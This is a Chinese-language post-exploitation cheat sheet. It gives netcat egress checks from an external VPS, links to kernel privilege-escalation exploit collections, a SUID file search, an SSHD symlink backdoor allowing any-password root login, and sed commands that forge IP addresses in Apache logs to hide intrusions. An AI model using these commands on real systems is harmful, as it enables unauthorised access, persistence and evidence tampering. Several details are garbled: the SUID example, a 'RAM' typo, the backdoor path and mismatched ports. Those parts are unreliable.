判断机器内网情况
主要的通信协议有tcp/icmp/http/dns
判断方法如下
tcp:
外网vps : nc –lvp port |
dns:
外网vps nc -u -lvp 53 |
icmp:
ping 8.8.8.8 |
http:
外网vps nc -u -lvp 80 |
内核溢出漏洞提权
Windows平台提权漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
Linux平台提权漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
BadPotato烂土豆
https://github.com/BeichenDream/BadPotato
Linux Exploit Suggester 2
https://github.com/jondonas/linux-exploit-suggester-2
SUID提权
suid文件权限权限:在文件执行时会以root权限执行,任何人都可以执行该文件。例如/etc/passwd。(实战中没吊用,根本碰不到利用条件)
查找拥有SUID权限的文件:
find / -perm /4000 2>/dev/null |
SSHD软连接后门
在sshd服务配置运行PAM认证的前提下,使用软连接可绕过RAM认证。实现任意密码登录。
ln -sf /usr/sbin/sshd /tmp/systemd-private-53b4a0f6c1ad4718b2e0154271a11fbf-ntpd.service-92n7Ld;/tmp/su -oport=45678 |
客户端用ssh root@x.x.x.x -p 12345登录。
前提是服务器允许了PAM认证:
vim /etc/ssh/sshd_config
UsePAM yes
伪造日志中的指定IP
Apache:
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
配置文件位置
cat /var/apache2/config.inc
cat /etc/nginx/conf.d/nginx.conf